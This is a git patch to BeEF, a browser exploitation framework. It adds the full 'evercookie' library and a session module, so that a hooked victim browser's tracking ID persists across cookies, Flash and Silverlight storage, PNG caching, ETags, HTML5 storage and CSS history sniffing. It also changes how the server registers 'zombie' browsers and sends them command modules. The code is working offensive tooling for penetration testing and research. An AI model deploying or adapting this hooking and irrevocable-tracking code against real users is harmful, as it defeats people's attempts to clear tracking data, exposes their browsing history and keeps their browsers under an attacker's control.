From 53f41c8eb638ad1446ecefc83fbd170325e28b19 Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Wed, 15 Dec 2010 07:50:12 +0000 Subject: [PATCH] Adding support for evercookie for issue 126 git-svn-id: https://beef.googlecode.com/svn/trunk@604 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- lib/server/inithandler.rb | 28 +- lib/server/modules/common.rb | 8 +- lib/server/zombiehandler.rb | 66 +-- modules/beefjs/beef.js | 2 +- modules/beefjs/init.js | 3 + modules/beefjs/lib/evercookie.js | 977 +++++++++++++++++++++++++++++++ modules/beefjs/net.js | 2 + modules/beefjs/session.js | 61 ++ 8 files changed, 1091 insertions(+), 56 deletions(-) create mode 100644 modules/beefjs/lib/evercookie.js create mode 100644 modules/beefjs/session.js diff --git a/lib/server/inithandler.rb b/lib/server/inithandler.rb index 679913037..ffafe381f 100644 --- a/lib/server/inithandler.rb +++ b/lib/server/inithandler.rb @@ -23,13 +23,28 @@ module BeEF # allow the hooked browser to send back results using POST. # def do_POST(request, response) + + response.body = '' # validate hook session value session_id = request.query['BEEFHOOK'] || nil raise WEBrick::HTTPStatus::BadRequest, "session id is invalid" if not Filter.is_valid_hook_session_id?(session_id) - hooked_browser = HB.first(:session => session_id, :has_init => false) - raise WEBrick::HTTPStatus::BadRequest, "Invalid beef session id: the hooked browser cannot be found in the database" if hooked_browser.nil? + hooked_browser = HB.first(:session => session_id) + return if not hooked_browser.nil? # browser is already registered with framework + + # create the structure repesenting the hooked browser + zombie = BeEF::Models::Zombie.new(:ip => request.peeraddr[3], :session => session_id) + zombie.firstseen = Time.new.to_i + zombie.httpheaders = request.header.to_json + @guard.synchronize { + zombie.save # the save needs to be conducted before any hooked browser specific logging + } + # add a log entry for the newly hooked browser + log_zombie_domain = zombie.domain + log_zombie_domain = "(blank)" if log_zombie_domain.nil? or log_zombie_domain.empty? + BeEF::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}") + # get and store browser name browser_name = get_param(request.query, 'BrowserName') raise WEBrick::HTTPStatus::BadRequest, "Invalid browser name" if not Filter.is_valid_browsername?(browser_name) @@ -83,13 +98,8 @@ module BeEF BD.set(session_id, 'InternalHostname', internal_hostname) end - # init details have been returned so set flag and save - hooked_browser.has_init = true - @guard.synchronize { - hooked_browser.save - } - - response.body = '' + + end # returns a selected parameter from the query string. diff --git a/lib/server/modules/common.rb b/lib/server/modules/common.rb index 64c626aca..7ad1900d6 100644 --- a/lib/server/modules/common.rb +++ b/lib/server/modules/common.rb @@ -13,12 +13,12 @@ module Modules # @param: {Object} the hook session id # @param: {Boolean} if the framework is already loaded in the hooked browser # - def build_beefjs!(hook_session_id, framework_loaded = false) + def build_beefjs!() # set up values required to construct beefjs beefjs = '' # init the beefjs string (to be sent as the beefjs file) beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files - js_sub_files = %w(lib/jquery-1.4.4.min.js beef.js browser.js browser/cookie.js os.js dom.js net.js updater.js encode/base64.js net/local.js init.js) + js_sub_files = %w(lib/jquery-1.4.4.min.js lib/evercookie.js beef.js browser.js browser/cookie.js session.js os.js dom.js net.js updater.js encode/base64.js net/local.js init.js) # construct the beefjs string from file(s) js_sub_files.each {|js_sub_file_name| @@ -30,8 +30,8 @@ module Modules config = BeEF::Configuration.instance hook_session_name = config.get('hook_session_name') hook_session_config = BeEF::HttpHookServer.instance.to_h - hook_session_config['beef_hook_session_name'] = hook_session_name - hook_session_config['beef_hook_session_id'] = hook_session_id +# hook_session_config['beef_hook_session_name'] = hook_session_name +# hook_session_config['beef_hook_session_id'] = hook_session_id # populate place holders in the beefjs string and set the response body eruby = Erubis::FastEruby.new(beefjs) diff --git a/lib/server/zombiehandler.rb b/lib/server/zombiehandler.rb index 5aa10e960..767a50ece 100644 --- a/lib/server/zombiehandler.rb +++ b/lib/server/zombiehandler.rb @@ -39,53 +39,35 @@ module BeEF # get zombie if already hooked the framework hook_session_id = request.get_hook_session_id() - zombie = BeEF::Models::Zombie.first(:session => hook_session_id) if not hook_session_id.nil? + hooked_browser = BeEF::Models::Zombie.first(:session => hook_session_id) if not hook_session_id.nil? - if not zombie # is a new browser so set up the hook - - # create the session id used to maintain the hooked session - hook_session_value = BeEF::Crypto::secure_token - - # create the structure repesenting the hooked browser - zombie = BeEF::Models::Zombie.new(:ip => request.peeraddr[3], :session => hook_session_value) - zombie.firstseen = Time.new.to_i - zombie.has_init = false # set to true (in inithandler.rb) when the init values returned - zombie.httpheaders = request.header.to_json - zombie.save # the save needs to be conducted before any hooked browser specific logging - - # add a log entry for the newly hooked browser - log_zombie_domain = zombie.domain - log_zombie_domain = "(blank)" if log_zombie_domain.nil? or log_zombie_domain.empty? - BeEF::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}") - - # check if the framework is already loaded in the browser - this check is based on the existance of the beef_js_cmp param - # for example, when the db is reset and a hooked browser (with the framework loaded) will reconnect - @beef_js_cmps = request.query['beef_js_cmps'] || nil - framework_loaded = (not @beef_js_cmps.nil?) + if not hooked_browser # is a new browser so return instructions to set up the hook # generate the instructions to hook the browser - build_beefjs!(hook_session_value, framework_loaded) + build_beefjs!() + + else # is a known browseer so send instructions + + # record the last poll from the browser + hooked_browser.lastseen = Time.new.to_i + + hooked_browser.count! + hooked_browser.save + + execute_plugins! + + # add all availible command module instructions to the response + zombie_commands = BeEF::Models::Command.all(:zombie_id => hooked_browser.id, :has_run => false) + zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} + + # add all availible autoloading command module instructions to the response + autoloadings = BeEF::Models::Command.all(:autoloadings => { :in_use => true }) + autoloadings.each {|command| add_command_instructions(command, hooked_browser)} + + # executes the requester + requester_run(hooked_browser) end - - # record the last poll from the browser - zombie.lastseen = Time.new.to_i - - zombie.count! - zombie.save - - execute_plugins! - - # add all availible command module instructions to the response - zombie_commands = BeEF::Models::Command.all(:zombie_id => zombie.id, :has_run => false) - zombie_commands.each{|command| add_command_instructions(command, zombie)} - - # add all availible autoloading command module instructions to the response - autoloadings = BeEF::Models::Command.all(:autoloadings => { :in_use => true }) - autoloadings.each {|command| add_command_instructions(command, zombie)} - - # executes the requester - requester_run(zombie) # set response headers and body response.set_no_cache diff --git a/modules/beefjs/beef.js b/modules/beefjs/beef.js index 3c86a7107..e228d8acb 100644 --- a/modules/beefjs/beef.js +++ b/modules/beefjs/beef.js @@ -5,7 +5,7 @@ $j = jQuery.noConflict(); -<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>'; +//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>'; if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { diff --git a/modules/beefjs/init.js b/modules/beefjs/init.js index 08fb1b733..7e801a285 100644 --- a/modules/beefjs/init.js +++ b/modules/beefjs/init.js @@ -2,6 +2,9 @@ // if beef.pageIsLoaded is true, then this JS has been loaded >1 times // and will have a new session id. The new session id will need to know // the brwoser details. So sendback the browser details again. + +BEEFHOOK=beef.session.get_hook_session_id() + if( beef.pageIsLoaded ) { beef.net.sendback_browser_details(); } diff --git a/modules/beefjs/lib/evercookie.js b/modules/beefjs/lib/evercookie.js new file mode 100644 index 000000000..567703b3c --- /dev/null +++ b/modules/beefjs/lib/evercookie.js @@ -0,0 +1,977 @@ +/* + * evercookie 0.4 (10/13/2010) -- extremely persistent cookies + * + * by samy kamkar : code@samy.pl : http://samy.pl + * + * this api attempts to produce several types of persistent data + * to essentially make a cookie virtually irrevocable from a system + * + * specifically it uses: + * - standard http cookies + * - flash cookies (local shared objects) + * - silverlight isolated storage + * - png generation w/forced cache and html5 canvas pixel reading + * - http etags + * - http cache + * - window.name + * - IE userData + * - html5 session cookies + * - html5 local storage + * - html5 global storage + * - html5 database storage via sqlite + * - css history scanning + * + * if any cookie is found, it's then reset to all the other locations + * for example, if someone deletes all but one type of cookie, once + * that cookie is re-discovered, all of the other cookie types get reset + * + * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS + * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!! + * + * USAGE: + + var ec = new evercookie(); + + // set a cookie "id" to "12345" + // usage: ec.set(key, value) + ec.set("id", "12345"); + + // retrieve a cookie called "id" (simply) + ec.get("id", function(value) { alert("Cookie value is " + value) }); + + // or use a more advanced callback function for getting our cookie + // the cookie value is the first param + // an object containing the different storage methods + // and returned cookie values is the second parameter + function getCookie(best_candidate, all_candidates) + { + alert("The retrieved cookie is: " + best_candidate + "\n" + + "You can see what each storage mechanism returned " + + "by looping through the all_candidates object."); + + for (var item in all_candidates) + document.write("Storage mechanism " + item + + " returned " + all_candidates[item] + " votes
"); + } + ec.get("id", getCookie); + + // we look for "candidates" based off the number of "cookies" that + // come back matching since it's possible for mismatching cookies. + // the best candidate is very-very-likely the correct one + +*/ + +/* to turn off CSS history knocking, set _ec_history to 0 */ +var _ec_history = 1; // CSS history knocking or not .. can be network intensive +var _ec_tests = 10;//1000; +var _ec_debug = 0; + +function _ec_dump(arr, level) +{ + var dumped_text = ""; + if(!level) level = 0; + + //The padding given at the beginning of the line. + var level_padding = ""; + for(var j=0;j \"" + value + "\"\n"; + } + } + } else { //Stings/Chars/Numbers etc. + dumped_text = "===>"+arr+"<===("+typeof(arr)+")"; + } + return dumped_text; +} + +function _ec_replace(str, key, value) +{ + if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0) + { + // find start + var idx = str.indexOf('&' + key + '='); + if (idx == -1) + idx = str.indexOf(key + '='); + + // find end + var end = str.indexOf('&', idx + 1); + var newstr; + if (end != -1) + newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value; + else + newstr = str.substr(0, idx) + '&' + key + '=' + value; + + return newstr; + } + else + return str + '&' + key + '=' + value; +} + + +// necessary for flash to communicate with js... +// please implement a better way +var _global_lso; +function _evercookie_flash_var(cookie) +{ + _global_lso = cookie; + + // remove the flash object now + var swf = $('#myswf'); + if (swf && swf.parentNode) + swf.parentNode.removeChild(swf); +} + +var evercookie = (function () { +this._class = function() { + +var self = this; +// private property +_baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; +this._ec = {}; +var no_color = -1; + +this.get = function(name, cb, dont_reset) +{ + $(document).ready(function() { + self._evercookie(name, cb, undefined, undefined, dont_reset); + }); +} + +this.set = function(name, value) +{ + $(document).ready(function() { + self._evercookie(name, function() { }, value); + }); +} + +this._evercookie = function(name, cb, value, i, dont_reset) +{ + if (typeof self._evercookie == 'undefined') + self = this; + + if (typeof i == 'undefined') + i = 0; + + // first run + if (i == 0) + { + self.evercookie_database_storage(name, value); + self.evercookie_png(name, value); + self.evercookie_etag(name, value); + self.evercookie_cache(name, value); + self.evercookie_lso(name, value); + self.evercookie_silverlight(name, value); + + self._ec.userData = self.evercookie_userdata(name, value); + self._ec.cookieData = self.evercookie_cookie(name, value); + self._ec.localData = self.evercookie_local_storage(name, value); + self._ec.globalData = self.evercookie_global_storage(name, value); + self._ec.sessionData = self.evercookie_session_storage(name, value); + self._ec.windowData = self.evercookie_window(name, value); + + if (_ec_history) + self._ec.historyData = self.evercookie_history(name, value); + } + + // when writing data, we need to make sure lso and silverlight object is there + if (typeof value != 'undefined') + { + if ( + ( + (typeof _global_lso == 'undefined') || + (typeof _global_isolated == 'undefined') + ) + && i++ < _ec_tests + ) + setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300); + } + + // when reading data, we need to wait for swf, db, silverlight and png + else + { + if ( + ( + // we support local db and haven't read data in yet + (window.openDatabase && typeof self._ec.dbData == 'undefined') || + (typeof _global_lso == 'undefined') || + (typeof self._ec.etagData == 'undefined') || + (typeof self._ec.cacheData == 'undefined') || + (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) || + (typeof _global_isolated == 'undefined') + ) + && + i++ < _ec_tests + ) + { + setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300); + } + + // we hit our max wait time or got all our data + else + { + // get just the piece of data we need from swf + self._ec.lsoData = self.getFromStr(name, _global_lso); + _global_lso = undefined; + + // get just the piece of data we need from silverlight + self._ec.slData = self.getFromStr(name, _global_isolated); + _global_isolated = undefined; + + var tmpec = self._ec; + self._ec = {}; + + // figure out which is the best candidate + var candidates = new Array(); + var bestnum = 0; + var candidate; + for (var item in tmpec) + { + if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' && + tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null) + { + candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1; + } + } + + for (var item in candidates) + { + if (candidates[item] > bestnum) + { + bestnum = candidates[item]; + candidate = item; + } + } + + // reset cookie everywhere + if (typeof dont_reset == "undefined" || dont_reset != 1) + self.set(name, candidate); + + if (typeof cb == 'function') + cb(candidate, tmpec); + } + } +} + +this.evercookie_window = function(name, value) +{ + try { + if (typeof(value) != "undefined") + window.name = _ec_replace(window.name, name, value); + else + return this.getFromStr(name, window.name); + } catch(e) { } +} + +this.evercookie_userdata = function(name, value) +{ + try { + var elm = this.createElem('div', 'userdata_el', 1); + elm.style.behavior = "url(#default#userData)"; + + if (typeof(value) != "undefined") + { + elm.setAttribute(name, value); + elm.save(name); + } + else + { + elm.load(name); + return elm.getAttribute(name); + } + } catch(e) { } +} + +this.evercookie_cache = function(name, value) +{ + if (typeof(value) != "undefined") + { + // make sure we have evercookie session defined first + document.cookie = 'evercookie_cache=' + value; + + // evercookie_cache.php handles caching + var img = new Image(); + img.style.visibility = 'hidden'; + img.style.position = 'absolute'; + img.src = 'evercookie_cache.php?name=' + name; + } + else + { + // interestingly enough, we want to erase our evercookie + // http cookie so the php will force a cached response + var origvalue = this.getFromStr('evercookie_cache', document.cookie); + self._ec.cacheData = undefined; + document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/'; + + $.ajax({ + url: 'evercookie_cache.php?name=' + name, + success: function(data) { + // put our cookie back + document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/'; + + self._ec.cacheData = data; + } + }); + } +} + +this.evercookie_etag = function(name, value) +{ + if (typeof(value) != "undefined") + { + // make sure we have evercookie session defined first + document.cookie = 'evercookie_etag=' + value; + + // evercookie_etag.php handles etagging + var img = new Image(); + img.style.visibility = 'hidden'; + img.style.position = 'absolute'; + img.src = 'evercookie_etag.php?name=' + name; + } + else + { + // interestingly enough, we want to erase our evercookie + // http cookie so the php will force a cached response + var origvalue = this.getFromStr('evercookie_etag', document.cookie); + self._ec.etagData = undefined; + document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/'; + + $.ajax({ + url: 'evercookie_etag.php?name=' + name, + success: function(data) { + // put our cookie back + document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/'; + + self._ec.etagData = data; + } + }); + } +} + +this.evercookie_lso = function(name, value) +{ + var div = document.getElementById('swfcontainer'); + if (!div) + { + div = document.createElement("div"); + div.setAttribute('id', 'swfcontainer'); + document.body.appendChild(div); + } + + var flashvars = {}; + if (typeof value != 'undefined') + flashvars.everdata = name + '=' + value; + + var params = {}; + params.swliveconnect = "true"; + var attributes = {}; + attributes.id = "myswf"; + attributes.name = "myswf"; + swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes); +} + +this.evercookie_png = function(name, value) +{ + if (document.createElement('canvas').getContext) + { + if (typeof(value) != "undefined") + { + // make sure we have evercookie session defined first + document.cookie = 'evercookie_png=' + value; + + // evercookie_png.php handles the hard part of generating the image + // based off of the http cookie and returning it cached + var img = new Image(); + img.style.visibility = 'hidden'; + img.style.position = 'absolute'; + img.src = 'evercookie_png.php?name=' + name; + } + else + { + self._ec.pngData = undefined; + var context = document.createElement('canvas'); + context.style.visibility = 'hidden'; + context.style.position = 'absolute'; + context.width = 200; + context.height = 1; + var ctx = context.getContext('2d'); + + // interestingly enough, we want to erase our evercookie + // http cookie so the php will force a cached response + var origvalue = this.getFromStr('evercookie_png', document.cookie); + document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/'; + + var img = new Image(); + img.style.visibility = 'hidden'; + img.style.position = 'absolute'; + img.src = 'evercookie_png.php?name=' + name; + + img.onload = function() + { + // put our cookie back + document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/'; + + self._ec.pngData = ''; + ctx.drawImage(img,0,0); + + // get CanvasPixelArray from given coordinates and dimensions + var imgd = ctx.getImageData(0, 0, 200, 1); + var pix = imgd.data; + + // loop over each pixel to get the "RGB" values (ignore alpha) + for (var i = 0, n = pix.length; i < n; i += 4) + { + if (pix[i ] == 0) break; + self._ec.pngData += String.fromCharCode(pix[i]); + if (pix[i+1] == 0) break; + self._ec.pngData += String.fromCharCode(pix[i+1]); + if (pix[i+2] == 0) break; + self._ec.pngData += String.fromCharCode(pix[i+2]); + } + } + } + } +} + +this.evercookie_local_storage = function(name, value) +{ + try + { + if (window.localStorage) + { + if (typeof(value) != "undefined") + localStorage.setItem(name, value); + else + return localStorage.getItem(name); + } + } + catch (e) { } +} + +this.evercookie_database_storage = function(name, value) +{ + try + { + if (window.openDatabase) + { + var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024); + + if (typeof(value) != "undefined") + database.transaction(function(tx) + { + tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" + + "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " + + "name TEXT NOT NULL, " + + "value TEXT NOT NULL, " + + "UNIQUE (name)" + + ")", [], function (tx, rs) { }, function (tx, err) { }); + + tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value], + function (tx, rs) { }, function (tx, err) { }) + }); + else + { + database.transaction(function(tx) + { + tx.executeSql("SELECT value FROM cache WHERE name=?", [name], + function(tx, result1) { + if (result1.rows.length >= 1) + self._ec.dbData = result1.rows.item(0)['value']; + else + self._ec.dbData = ''; + }, function (tx, err) { }) + }); + } + } + } catch(e) { } +} + +this.evercookie_session_storage = function(name, value) +{ + try + { + if (window.sessionStorage) + { + if (typeof(value) != "undefined") + sessionStorage.setItem(name, value); + else + return sessionStorage.getItem(name); + } + } catch(e) { } +} + +this.evercookie_global_storage = function(name, value) +{ + if (window.globalStorage) + { + var host = this.getHost(); + + try + { + if (typeof(value) != "undefined") + eval("globalStorage[host]." + name + " = value"); + else + return eval("globalStorage[host]." + name); + } catch(e) { } + } +} +this.evercookie_silverlight = function(name, value) { + /* + * Create silverlight embed + * + * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this + * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit. + */ + var source = "evercookie.xap"; + var minver = "4.0.50401.0"; + + var initParam = ""; + if(typeof(value) != "undefined") + initParam = ''; + + var html = + '' + + initParam + + '' + + '' + + '' + + '' + + '' + + '' + + '' + + '' + + 'Get Microsoft Silverlight' + + '' + + ''; + document.body.innerHTML+=html; +} + +// public method for encoding +this.encode = function (input) { + var output = ""; + var chr1, chr2, chr3, enc1, enc2, enc3, enc4; + var i = 0; + + input = this._utf8_encode(input); + + while (i < input.length) { + + chr1 = input.charCodeAt(i++); + chr2 = input.charCodeAt(i++); + chr3 = input.charCodeAt(i++); + + enc1 = chr1 >> 2; + enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); + enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); + enc4 = chr3 & 63; + + if (isNaN(chr2)) { + enc3 = enc4 = 64; + } else if (isNaN(chr3)) { + enc4 = 64; + } + + output = output + + _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) + + _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4); + + } + + return output; +} + +// public method for decoding +this.decode = function (input) { + var output = ""; + var chr1, chr2, chr3; + var enc1, enc2, enc3, enc4; + var i = 0; + + input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); + + while (i < input.length) { + enc1 = _baseKeyStr.indexOf(input.charAt(i++)); + enc2 = _baseKeyStr.indexOf(input.charAt(i++)); + enc3 = _baseKeyStr.indexOf(input.charAt(i++)); + enc4 = _baseKeyStr.indexOf(input.charAt(i++)); + + chr1 = (enc1 << 2) | (enc2 >> 4); + chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); + chr3 = ((enc3 & 3) << 6) | enc4; + + output = output + String.fromCharCode(chr1); + + if (enc3 != 64) { + output = output + String.fromCharCode(chr2); + } + if (enc4 != 64) { + output = output + String.fromCharCode(chr3); + } + + } + + output = this._utf8_decode(output); + + return output; + +} + +// private method for UTF-8 encoding +this._utf8_encode = function (string) { + string = string.replace(/\r\n/g,"\n"); + var utftext = ""; + + for (var n = 0; n < string.length; n++) { + + var c = string.charCodeAt(n); + + if (c < 128) { + utftext += String.fromCharCode(c); + } + else if((c > 127) && (c < 2048)) { + utftext += String.fromCharCode((c >> 6) | 192); + utftext += String.fromCharCode((c & 63) | 128); + } + else { + utftext += String.fromCharCode((c >> 12) | 224); + utftext += String.fromCharCode(((c >> 6) & 63) | 128); + utftext += String.fromCharCode((c & 63) | 128); + } + + } + + return utftext; +} + +// private method for UTF-8 decoding +this._utf8_decode = function (utftext) { + var string = ""; + var i = 0; + var c = c1 = c2 = 0; + + while ( i < utftext.length ) { + + c = utftext.charCodeAt(i); + + if (c < 128) { + string += String.fromCharCode(c); + i++; + } + else if((c > 191) && (c < 224)) { + c2 = utftext.charCodeAt(i+1); + string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); + i += 2; + } + else { + c2 = utftext.charCodeAt(i+1); + c3 = utftext.charCodeAt(i+2); + string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); + i += 3; + } + + } + + return string; +} + +// this is crazy but it's 4am in dublin and i thought this would be hilarious +// blame the guinness +this.evercookie_history = function(name, value) +{ + // - is special + var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-"; + var baseElems = baseStr.split(""); + + // sorry google. + var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name; + + if (typeof(value) != "undefined") + { + // don't reset this if we already have it set once + // too much data and you can't clear previous values + if (this.hasVisited(url)) + return; + + this.createIframe(url, 'if'); + url = url + '/'; + + var base = this.encode(value).split(""); + for (var i = 0; i < base.length; i++) + { + url = url + base[i]; + this.createIframe(url, 'if' + i); + } + + // - signifies the end of our data + url = url + '-'; + this.createIframe(url, 'if_'); + } + else + { + // omg you got csspwn3d + if (this.hasVisited(url)) + { + url = url + '/'; + + var letter = ""; + var val = ""; + var found = 1; + while (letter != '-' && found == 1) + { + found = 0; + for (var i = 0; i < baseElems.length; i++) + { + if (this.hasVisited(url + baseElems[i])) + { + letter = baseElems[i]; + if (letter != '-') + val = val + letter; + url = url + letter; + found = 1; + break; + } + } + } + + // lolz + return this.decode(val); + } + } +} + +this.createElem = function(type, name, append) +{ + var el; + if (typeof name != 'undefined' && document.getElementById(name)) + el = document.getElementById(name); + else + el = document.createElement(type); + el.style.visibility = 'hidden'; + el.style.position = 'absolute'; + + if (name) + el.setAttribute('id', name); + + if (append) + document.body.appendChild(el); + + return el; +} + +this.createIframe = function(url, name) +{ + var el = this.createElem('iframe', name, 1); + el.setAttribute('src', url); + return el; +} + +// wait for our swfobject to appear (swfobject.js to load) +this.waitForSwf = function(i) +{ + if (typeof i == 'undefined') + i = 0; + else + i++; + + // wait for ~2 seconds for swfobject to appear + if (i < _ec_tests && typeof swfobject == 'undefined') + setTimeout(function() { waitForSwf(i) }, 300); +} + +this.evercookie_cookie = function(name, value) +{ + if (typeof(value) != "undefined") + { + // expire the cookie first + document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/'; + document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/'; + } + else + return this.getFromStr(name, document.cookie); +} + +// get value from param-like string (eg, "x=y&name=VALUE") +this.getFromStr = function(name, text) +{ + if (typeof text != 'string') + return; + + var nameEQ = name + "="; + var ca = text.split(/[;&]/); + for (var i = 0; i < ca.length; i++) + { + var c = ca[i]; + while (c.charAt(0) == ' ') + c = c.substring(1, c.length); + if (c.indexOf(nameEQ) == 0) + return c.substring(nameEQ.length, c.length); + } +} + +this.getHost = function() +{ + var domain = document.location.host; + if (domain.indexOf('www.') == 0) + domain = domain.replace('www.', ''); + return domain; +} + +this.toHex = function(str) +{ + var r = ""; + var e = str.length; + var c = 0; + var h; + while (c < e) + { + h = str.charCodeAt(c++).toString(16); + while (h.length < 2) + h = "0" + h; + r += h; + } + return r; +} + +this.fromHex = function(str) +{ + var r = ""; + var e = str.length; + var s; + while (e >= 0) + { + s = e - 2; + r = String.fromCharCode("0x" + str.substring(s, e)) + r; + e = s; + } + return r; +} + +/* + * css history knocker (determine what sites your visitors have been to) + * + * originally by Jeremiah Grossman + * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html + * + * ported to additional browsers by Samy Kamkar + * + * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock + * + * - code@samy.pl + */ + + +this.hasVisited = function(url) +{ + if (this.no_color == -1) + { + var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1); + if (no_style == -1) + this.no_color = + this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com"); + } + + // did we give full url? + if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0) + return this._testURL(url, this.no_color); + + // if not, just test a few diff types if (exact) + return this._testURL("http://" + url, this.no_color) || + this._testURL("https://" + url, this.no_color) || + this._testURL("http://www." + url, this.no_color) || + this._testURL("https://www." + url, this.no_color); +} + +/* create our anchor tag */ +var _link = this.createElem('a', '_ec_rgb_link'); + +/* for monitoring */ +var created_style; + +/* create a custom style tag for the specific link. Set the CSS visited selector to a known value */ +var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}'; + +/* Methods for IE6, IE7, FF, Opera, and Safari */ +try { + created_style = 1; + var style = document.createElement('style'); + if (style.styleSheet) + style.styleSheet.innerHTML = _cssText; + else if (style.innerHTML) + style.innerHTML = _cssText; + else + { + var cssT = document.createTextNode(_cssText); + style.appendChild(cssT); + } +} catch (e) { + created_style = 0; +} + +/* if test_color, return -1 if we can't set a style */ +this._getRGB = function(u, test_color) +{ + if (test_color && created_style == 0) + return -1; + + /* create the new anchor tag with the appropriate URL information */ + _link.href = u; + _link.innerHTML = u; + // not sure why, but the next two appendChilds always have to happen vs just once + document.body.appendChild(style); + document.body.appendChild(_link); + + /* add the link to the DOM and save the visible computed color */ + var color; + if (document.defaultView) + color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color'); + else + color = _link.currentStyle['color']; + + return color; +} + +this._testURL = function(url, no_color) +{ + var color = this._getRGB(url); + + /* check to see if the link has been visited if the computed color is red */ + if (color == "rgb(255, 0, 0)" || color == "#ff0000") + return 1; + + /* if our style trick didn't work, just compare default style colors */ + else if (no_color && color != no_color) + return 1; + + /* not found */ + return 0; +} + +}; + +return _class; +})(); + + +/* + * Again, ugly workaround....same problem as flash. +*/ +var _global_isolated; +function onSilverlightLoad(sender, args) { + var control = sender.getHost(); + _global_isolated = control.Content.App.getIsolatedStorage(); +} +/* +function onSilverlightError(sender, args) { + _global_isolated = ""; + +}*/ +function onSilverlightError(sender, args) { + _global_isolated = ""; +} diff --git a/modules/beefjs/net.js b/modules/beefjs/net.js index 9b3d92cc2..63ca0ea05 100644 --- a/modules/beefjs/net.js +++ b/modules/beefjs/net.js @@ -119,6 +119,8 @@ beef.net = { details['InternalHostname'] = internal_hostname; } + details['HookSessionID'] = beef.session.get_hook_session_id(); + // contruct param string var params = this.construct_params_from_hash(details); diff --git a/modules/beefjs/session.js b/modules/beefjs/session.js new file mode 100644 index 000000000..b64836fed --- /dev/null +++ b/modules/beefjs/session.js @@ -0,0 +1,61 @@ +/*! + * @literal object: beef.session + * + * Provides basic session functions. + */ +beef.session = { + + hook_session_id_length: 80, + hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", + ec: new evercookie(), + + /** + * Gets a string which will be used to identify the hooked browser session + * + * @example: var hook_session_id = beef.session.get_hook_session_id(); + */ + get_hook_session_id: function() { + // check if the browser is already known to the framework + var id = this.ec.evercookie_cookie("BEEFHOOK"); + + // if the browser is not known create a hook session id and set it + if (typeof id == 'undefined') { + id = this.gen_hook_session_id(); + this.set_hook_session_id(id); + } + + // return the hooked browser session identifier + return id; + }, + + /** + * Sets a string which will be used to identify the hooked browser session + * + * @example: beef.session.set_hook_session_id('RANDOMSTRING'); + */ + set_hook_session_id: function(id) { + // persist the hook session id + this.ec.evercookie_cookie("BEEFHOOK", id); + }, + + /** + * Generates a random string using the chars in hook_session_id_chars. + * + * @example: beef.session.gen_hook_session_id(); + */ + gen_hook_session_id: function() { + // init the return value + var hook_session_id = ""; + + // construct the random string + for(var i=0; i